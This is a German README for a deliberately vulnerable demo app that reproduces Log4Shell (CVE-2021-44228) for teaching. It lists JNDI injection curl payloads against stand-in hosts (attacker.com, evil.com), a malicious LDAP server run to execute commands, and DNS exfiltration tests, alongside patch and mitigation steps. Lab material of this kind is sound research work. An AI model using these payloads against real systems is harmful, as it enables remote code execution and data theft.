
Demo von CVE-2021-44228 Log4Shell.
Dies ist ein Demoprojekt zum Erlernen und Erforschen der Log4j2 Remote-Codeausführungsschwachstelle (Log4Shell).
Dieses Projekt dient ausschließlich Sicherheitsforschung und Bildungszwecken. Nicht in Produktionsumgebungen verwenden!
Dieses Projekt verwendet die stark sicherheitslückenbehaftete Log4j-Version 2.14.1.
./mvnw clean package
./mvnw spring-boot:run
Oder:
java -jar target/log4j2-bugmaker-0.0.1-SNAPSHOT.jar
Öffnen Sie den Browser und gehen Sie zu: http://localhost:8080
curl -H "User-Agent: \${jndi:ldap://attacker.com/a}" http://localhost:8080/api/log
curl "http://localhost:8080/api/search?query=\${jndi:ldap://attacker.com/a}"
curl http://localhost:8080/api/health
Log4Shell (CVE-2021-44228) ist eine schwerwiegende Schwachstelle in Apache Log4j2. Wenn eine Anwendung Benutzereingaben protokolliert, die speziell formatierte Zeichenfolgen enthalten, analysiert Log4j2 JNDI-Nachschlageausdrücke. Angreifer können diese Eigenschaft nutzen, um Remote-Code auszuführen.
${jndi:ldap://evil.com/a}
${jndi:rmi://evil.com/a}
${jndi:dns://evil.com/a}
${java:version}
${java:os}
${env:PATH}
Aktualisieren Sie Log4j2 auf Version 2.17.1 oder höher:
<properties>
<log4j2.version>2.17.1</log4j2.version>
</properties>
-Dlog4j2.formatMsgNoLookups=true
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
# 1. Führen Sie das Automatisierungsskript aus
./setup-exploit-server.sh
# 2. Wählen Sie das JNDI-Injection-Exploit-Tool
# 3. Geben Sie den auszuführenden Befehl ein (z. B. whoami oder cat /etc/hosts)
# 4. Senden Sie die Angriffslast in einem anderen Terminal
# Starten Sie einen bösartigen LDAP-Server
python3 simple-ldap-server.py "whoami"
# Oder führen Sie andere Befehle aus
python3 simple-ldap-server.py "cat /etc/hosts"
# Senden Sie die Angriffslast in einem anderen Terminal
curl -H 'User-Agent: ${jndi:ldap://YOUR_IP:1389/Exploit}' http://localhost:8080/api/log
# Führen Sie das DNS-Exfiltration-Testskript aus
./test-dns-exfiltration.sh
# Folgen Sie den Anweisungen, um eine Subdomain von dnslog.cn zu erhalten
# Prüfen Sie dann, ob eine DNS-Abfrage eingegangen ist
Dieses Projekt steht unter der MIT-Lizenz.
Hinweis: Dieses Projekt dient ausschließlich Bildungs- und Sicherheitsforschungszwecken. Der Benutzer trägt das Risiko der Nutzung.
Unbefugte Penetrationstests an fremden Systemen sind illegal! Dieses Projekt ist nur für:
Bitte halten Sie sich an lokale Gesetze und nutzen Sie dieses Wissen verantwortungsvoll.